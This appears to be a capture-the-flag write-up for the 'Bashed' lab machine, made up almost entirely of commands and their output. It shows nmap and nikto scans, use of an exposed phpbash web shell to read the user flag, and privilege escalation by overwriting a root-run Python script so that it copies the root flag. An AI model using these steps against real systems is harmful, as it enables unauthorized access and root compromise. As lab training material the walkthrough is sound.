

```
[*]$ ping 10.129.82.156
```

```
[*]$ nmap -Pn -T4 -A -v 10.129.82.156
```

```
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 6AA5034A553DFA77C3B2C7B4C26CF870
|_http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
```

```
[*]$ nikto -port 80 -host 10.129.82.156
```

```
+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD
+ /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3268: /dev/: Directory indexing found.
+ OSVDB-3092: /dev/: This might be interesting...
+ OSVDB-3268: /php/: Directory indexing found.
+ OSVDB-3092: /php/: This might be interesting...
```

```
http://10.129.82.156/dev/phpbash.php
```

```
www-data@bashed
```

```
:/# cd home
```

```
www-data@bashed
```

```
:/home# ls
```

```
arrexel
```

```
scriptmanager
```

```
www-data@bashed
```

```
:/home# cd arrexel
```

```
www-data@bashed
```

```
:/home/arrexel# ls
```

```
user.txt
```

```
www-data@bashed
```

```
:/home/arrexel# cat user.txt
```

```
2c281f318555*****
```

```
www-data@bashed
```

```
:/var/www/html/dev# sudo -u scriptmanager cat /scripts/test.py
```

```
f = open("test.txt", "w")
```

```
f.write("testing 123!")
```

```
f.close
```

```
www-data@bashed
```

```
:/var/www/html/dev# sudo -u scriptmanager chmod -R 777 /scripts
```

```
chmod: changing permissions of '/scripts/test.txt': Operation not permitted
```

```
www-data@bashed
```

```
:/# cd /scripts
```

```
www-data@bashed
```

```
:/scripts# echo import os > test.py
```

```
www-data@bashed
```

```
:/scripts# echo 'os.system("cat /root/root.txt > /tmp/readme.txt")' >> test.py
```

```
www-data@bashed
```

```
:/scripts# cat test.py
```

```
import os
```

```
os.system("cat /root/root.txt > /tmp/readme.txt")
```

```
www-data@bashed
```

```
:/scripts# cat /tmp/readme.txt
```

```
cc4f0afe3a10*****
```